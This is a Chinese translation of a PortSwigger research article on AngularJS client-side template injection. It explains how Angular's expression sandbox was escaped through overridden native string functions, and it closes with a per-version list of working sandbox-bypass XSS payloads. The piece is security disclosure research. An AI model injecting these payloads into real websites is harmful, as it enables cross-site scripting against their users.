没有HTML的XSS-使用AngularJS进行客户端模板注入

翻译

原文：https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

- name: 翻译
  desc: 原文：https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
  bgColor: '#F0DFB1'
  textColor: 'green'

1
2
3
4

# 1没有HTML的XSS-使用AngularJS进行客户端模板注入

# 1.1摘要

对非常流行的 JavaScript 框架 AngularJS (opens new window) 进行简单使用，致使许多网站暴露于 Angular 模板注入中。这种相对低调的服务器端模板注入 (opens new window)的 “兄弟”，可以与 Angular 沙箱逃逸相结合，从而在某些看起来很安全的站点上发起跨站脚本（XSS） (opens new window)攻击。到目前为止，还没有已知的沙箱逃逸会影响 Angular 1.3.1+ 和 1.4.0+ 版本。这篇文章将总结 Angular 模板注入的核心概念，然后展示影响所有现代 Angular 版本的全新沙箱逃逸研究成果。

# 1.2介绍

AngularJS 是由 Google 编写的 MVC 客户端框架。使用 Angular 之后，你通过 “查看页面源代码” 或 Burp 看到的包含ng-app属性的 HTML 标签实际上是模板，模板将由 Angular 解析和呈现。这意味着，如果用户输入直接嵌入到页面中，则应用程序可能容易受到客户端模板注入的攻击。即使在属性中对用户输入进行了 HTML 编码，也同样容易受到攻击。

（（（译者加：jsfiddle (opens new window) 是国外一个非常优秀的 JavaScript 在线运行工具，国内网络访问速度比较感人）））

Angular 模板可以包含表达式 (opens new window)，这是一种位于双花括号内，类似 JavaScript 的代码片段。要了解它们是如何工作的，请查看以下 jsfiddle：

http://jsfiddle.net/2zs2yv7o/ (opens new window) >>

文本输入2将由 Angular 计算，然后显示输出：2。

这意味着任何能够注入双花括号的人，都可以执行 Angular 表达式。Angular 表达式本身不会造成太大的损害，但是当其与沙箱逃逸结合使用时，我们可以执行任意 JavaScript 并造成一些严重的损害。

以下两个代码块展示了该漏洞的本质。第一个页面动态嵌入了用户输入，但不容易受到 XSS 的攻击，因为它使用htmlspecialchars (opens new window)对用户输入进行了 HTML 编码：

<html>
  <body>
    <p>
      <?php
        $q = $_GET['q'];
        echo htmlspecialchars($q,ENT_QUOTES);
      ?>
    </p>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10

第二个页面几乎相同，但此处引入了 Angular，这意味着我们可以通过注入 Angular 表达式来利用它，配合沙箱逃逸可以获得 XSS。

<html ng-app>
  <head>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
  </head>
  <body>
    <p>
      <?php
        $q = $_GET['q'];
        echo htmlspecialchars($q,ENT_QUOTES);?>
    </p>   
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12

请注意，你需要在 DOM 树中的表达式上方添加ng-app。通常，Angular 站点会在根 HTML 或 body 标签中使用它。

换句话说，如果一整个页面都是 Angular 模板，我们对它注入 XSS 将变得更加容易。现在阻拦我们的只有一个问题——沙箱。幸运的是，有一个解决方案。

# 1.3沙箱

Angular 表达式被沙箱化，用于 “保持应用程序职责的适当分离”。为了攻击用户，我们需要脱离沙箱并执行任意 JavaScript。

并打开 Chrome 的 “sources” 选项卡，在 angular.js 中的第 13275 行放置一个断点。在监视窗口中，添加新的监视表达式 “fnString”。这将显示转换后的输出。1+1 转换为：

"use strict";
var fn = function(s, l, a, i) {
    return plus(1, 1);
};
return fn;

1
2
3
4
5

因此，表达式被解析和重写，然后由 Angular 执行。让我们尝试获取Function构造函数：

http://jsfiddle.net/2zs2yv7o/1/ (opens new window) >>

这是事情变得更加有趣的地方，这是重写的输出：

"use strict";
var fn = function(s, l, a, i) {
    var v0, v1, v2, v3, v4 = l && ('constructor' in l),
        v5;
    if (!(v4)) {
        if (s) {
            v3 = s.constructor;
        }
    } else {
        v3 = l.constructor;
    }
    ensureSafeObject(v3, text);
    if (v3 != null) {
        v2 = ensureSafeObject(v3.constructor, text);
    } else {
        v2 = undefined;
    }
    if (v2 != null) {
        ensureSafeFunction(v2, text);
        v5 = 'alert\u00281\u0029';
        ensureSafeObject(v3, text);
        v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
    } else {
        v1 = undefined;
    }
    if (v1 != null) {
        ensureSafeFunction(v1, text);
        v0 = ensureSafeObject(v1(), text);
    } else {
        v0 = undefined;
    }
    return v0;
};
return fn;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

如你所见，Angular 依次遍历每个对象，并使用ensureSafeObject函数 (opens new window)对其进行检查。ensureSafeObject函数检查所给出的对象是以下哪一种：Function 构造函数、window 对象、DOM 元素还是 Object 构造函数。如果任一检查结果为 true，它将引发异常并停止执行表达式。它还将对全局变量的所有引用都变更为查看对象属性，从而阻止对全局变量的访问。

Angular 还有一些其他安全函数，可以实现不同的安全检查功能，例如ensureSafeMemberName (opens new window)和ensureSafeFunction (opens new window)。ensureSafeMemberName检查 JavaScript 属性并确保其中不含有__proto__等属性，ensureSafeFunction检查某个函数调用是否访问、调用、应用或绑定了Function构造函数。

# 1.4破坏sanitizer

Angular sanitizer 是一个用 JavaScript 编写的客户端过滤器，它扩展了 Angular 并以安全地方式使用名为ng-bind-html的属性进行 HTML 绑定，这些属性包含了你想要的过滤引用。然后，它接收输入并将其呈现在一个不可见的 DOM 树中，然后对元素和属性应用白名单过滤。

当我测试 Angular sanitizer (opens new window) 时，我想过使用 Angular 表达式来覆盖原生 JavaScript 函数。问题是 Angular 表达式不支持函数语句或函数表达式，因此你无法用任何值覆盖函数。思考了一会儿，我想到了String.fromCharCode。由于该函数是从String构造函数中调用的，而不是通过字符串字面量调用的，因此this值将指向String构造函数自身。也许我可以后门fromCharCode函数！

如何在无法创建函数的情况下，对fromCharCode函数进行后门操作？简单：重用现有功能！问题是如何在每次调用fromCharCode时控制值。如果我们使用 Array join函数，则我们可以将String构造函数变成一个假数组。我们所需要的只是一个length属性和一个0属性值，以此来作为我们假数组的第一个索引，幸运的是它已经有了一个length属性，因为它的参数长度是 1。我们只需要给它一个 0 值。具体操作方法如下：

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

1
2

当调用String.fromCharCode时，每次都会得到字符串<iframe onload=alert(/Backdoored/)>而不是原先预期的值。这在 Angular 沙箱中完美运行。这是一个 fiddle：

http://jsfiddle.net/2zs2yv7o/2/ (opens new window) >>

我继续查看 Angular sanitizer 的代码，但我找不到任何对String.fromCharcode的调用会产生绕过。我寻找了其他原生函数，并发现了一个有趣的函数：charCodeAt。如果我可以覆盖这个函数，那么它将在没有任何过滤的情况下，被注入到任意属性中。但是有一个问题：这次this值将指向字符串字面量，而不是字符串构造函数。这意味着我不能使用相同的技术来覆盖该函数，因为我将无法操作索引或长度，因为这对于字符串字面量来说是不可写的。

然后我想到了[].concat;，此函数将字符串和参数拼接在一起，并返回拼接后的值。下面的 fiddle 调用了'abc'.charCodeAt(0)，因此你可能会期望输出为97（字符a的ASCII码），但由于后门，它总是会返回基本字符串加上参数。

http://jsfiddle.net/2zs2yv7o/3/ (opens new window) >>

这后来成功破坏了 sanitizer，因为我可以注入恶意的属性。sanitizer 代码如下所示：

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
   out(' ');
   out(key);
   out('="');
   out(encodeEntities(value));
   out('"');
}

1
2
3
4
5
6
7

out 将返回过滤后的输出；key 是指属性名称；value 是属性值。下面是 encodeEntities 函数：

function encodeEntities(value) {
  return value.
    replace(/&/g, '&').
    replace(SURROGATE_PAIR_REGEXP, function(value) {
      var hi = value.charCodeAt(0);
      var low = value.charCodeAt(1);
      return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
    }).
    replace(NON_ALPHANUMERIC_REGEXP, function(value) {
      return '&#' + value.charCodeAt(0) + ';';
    }).
   replace(/&lt;/g, '&lt;').
   replace(/&gt;/g, '&gt;');
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

value.charCodeAt(0)是发生注入的地方，在这里，开发人员显然希望charCodeAt函数返回一个 int。你可以防御性地编码，并将值强制为 int 类型，但如果攻击者可以覆盖原生函数，则你可能已经被击败了。这绕过了 sanitizer，使用类似的技术，我们可以打破沙箱。

# 1.5沙箱逃逸

我查看了 Angular 源代码，在寻找String.fromCharCode调用时，我发现了一个非常有趣 (opens new window)的实例。当解析字符串文本时，他们使用String.fromCharCode来输出值。我想我可以制作fromCharCode后门并脱离解析的字符串。这是一个 fiddle：

http://jsfiddle.net/2zs2yv7o/4/ (opens new window) >>

事实证明，我可以后门 unicode 转义，但不能脱离重写的代码。

然后我想知道，我之前在 sanitizer 上使用的相同技术，是否适用于不同的原生函数。我认为使用charAt可以成功解析代码，然后返回完全不同的输出并绕过沙箱。我尝试注入它并检查重写的输出。

{{
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=""')+''
}}

1
2
3
4

http://jsfiddle.net/2zs2yv7o/5/ (opens new window) >>

控制台里有一些有趣的结果，我从浏览器而不是 Angular 中收到了 JavaScript 解析错误。我查看了重写的代码，如下所示：

"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003d\u0022\u0022' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = "";
        }
    } else {
        v5 = l.x = "";
    }
    return v5;
};
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = "";
        }
    } else {
        v2 = l.x = "";
    }
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = "", text);
        v0 = v3.x = "" = v1;
    }
    return v0;
};
return fn;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

语法错误v0 = v3.x = "" = v1;，如果重写的代码生成了 JavaScript 语法错误，这意味着我可以在重写的输出中注入自己的代码！接下来，我注入了以下代码：

{{
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)')+''
}}

1
2
3
4

调试器在第一次调用时停止，我点击了 resume，然后我脸上带着灿烂的笑容去吃午饭，即使没有详细检查，我也知道我已经击败了沙箱，几乎每个版本都是如此。我吃完午饭回来，点击了 resume 之后，我果然打破了沙箱，并收到了一个警告框（alert）。这是 fiddle：

http://jsfiddle.net/2zs2yv7o/6/ (opens new window) >>

以下是重写的代码：

"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = alert(1);
        }
    } else {
        v5 = l.x = alert(1);
    }
    return v5;
};
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = alert(1);
        }
    } else {
        v2 = l.x = alert(1);
    }
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = alert(1), text);
        v0 = v3.x = alert(1) = v1;
    }
    return v0;
};
return fn;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

如你所见，重写的代码中包含 alert。你可能会注意到这在 Firefox 上不起作用。这里有一个小挑战给你，试着让它在 Firefox 和 Chrome 上工作。选择下面的隐藏文本作为挑战的解决方案：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

若要深入了解 Angular 解析代码时发生的事件经过，请在 angular.js 的第 14079 行放置一个断点，按一次 resume 以跳过初始解析，并通过不断单击调试器中的 “step into function” 来单步执行代码。在这里，你将能够看到 Angular 错误地解析代码。它会认为x=alert(1)是第 12699 行上的标识符。代码以为它正在检查一个字符，但实际上它正在检查一个更长的字符串，因此它通过了检测。见下文：

isIdent= function(ch) {
    return ('a' <= ch && ch <= 'z' ||
            'A' <= ch && ch <= 'Z' ||
            '_' === ch || ch === '$');
  }
isIdent('x9=9a9l9e9r9t9(919)')

1
2
3
4
5
6

字符串是用我们覆盖的charAt函数生成的，9是传递的参数。由于代码的编写方式，它总是会通过检测，因为 “a”、“z” 等字符总是小于较长的字符串。幸运的是，在第 12701 行，原始字符串被用于生成标识符。然后在第 13247 行创建赋值函数时，标识符将被多次注入到函数字符串中，当使用Function构造函数调用时，它会注入我们的 alert。

以下是针对 Angular 1.4 量身定制的最终有效负载：

{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1} } };alert(1)//');
}}

1
2
3
4

# 1.6结论

如果你使用了 Angular，则需要将用户输入中的花括号视为高度危险，或者完全避免服务器端对用户输入的反射。大多数其他 JavaScript 框架都不支持 HTML 文档中任意位置的表达式，从而规避这种危险。

Google 肯定意识到了这个问题，但我们不确定它在更广泛的社区中有多广为人知，尽管这一专题 (opens new window)已经具备现有研究 (opens new window)。Angular文档 (opens new window)确实建议不要在模板中动态嵌入用户输入，但也误导性地暗示 Angular 不会在其他安全代码中引入任何 XSS 漏洞。此问题甚至不局限于客户端模板注入；Angular 模板注入可以（并且已经 (opens new window)）在服务器端上使用并导致 RCE。

我认为到目前为止，这个问题还没有得到更广泛的关注，因为最新的 Angular 分支缺乏已知的沙箱逃逸。因此，现在可能是考虑在 JavaScript 中导入补丁管理策略的好时机。

此沙盒逃逸于 2015 年 9 月 25 日私下报告给 Google，并于 2016 年 1 月 15 日在 1.5.0 版本中进行了修补。鉴于 AngularJS 沙箱绕过的悠久历史，以及 Angular 坚持认为沙箱 “不是为了阻止攻击者”，我们不认为更新 Angular 是表达式注入的可靠解决方案。因此，我们发布了新的 Burp Scanner (opens new window) 检查功能，用于检测客户端模板注入，并在下方包含了 Angular 沙箱逃逸的最新列表。

# 1.7更新...

我们在此博客文章之后提供了实际应用程序中沙盒转义的示例。我们还发布了基于 DOM 的 AngularJS 沙盒转义。

在这篇博文之后，我们还提供了在真实的应用程序中实现沙箱逃逸 (opens new window)的案例。我们还发布了基于DOM的AngularJS沙箱逃逸 (opens new window)。

# 1.8更新...

从 1.6 版本开始，Angular 已经完全移除了沙箱 (opens new window) >>

# 1.9沙箱逃逸

我们正在积极维护XSS备忘单 (opens new window)上的沙箱逃逸列表：

# 1.10沙箱绕过列表

# 1.0.1 - 1.1.5

Mario Heiderich (opens new window) (Cure53)

{{constructor.constructor('alert(1)')()}}

# 1.2.0 - 1.2.1

Jan Horn (opens new window) (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

# 1.2.2 - 1.2.5

Gareth Heyes (opens new window) (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

# 1.2.6 - 1.2.18

Jan Horn (opens new window) (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

# 1.2.19 - 1.2.23

Mathias Karlsson (opens new window)

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

# 1.2.24 - 1.2.29

Gareth Heyes (opens new window) (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

# 1.3.0

Gábor Molnár (opens new window) (Google)

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 1.3.1 - 1.3.2

Gareth Heyes (opens new window) (PortSwigger)

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

1
2
3
4
5

# 1.3.3 - 1.3.18

Gareth Heyes (opens new window) (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 

  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1
2
3
4

# 1.3.19

Gareth Heyes (opens new window) (PortSwigger)

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

1
2
3
4

# 1.3.20

Gareth Heyes (opens new window) (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

# 1.4.0 - 1.4.9

Gareth Heyes (opens new window) (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

# 1.5.0 - 1.5.8

Ian Hickey (opens new window)

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

# 1.5.9 - 1.5.11

Jan Horn (opens new window) (Google)

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# >=1.6.0

Mario Heiderich (opens new window) (Cure53)

{{constructor.constructor('alert(1)')()}}

请访问网络学院AngularJS实验室 (opens new window)，利用 AngularJS 试验 XSS。

编辑

← 在XSS中隐藏input字段使用基于DOM的悬挂标记规避CSP→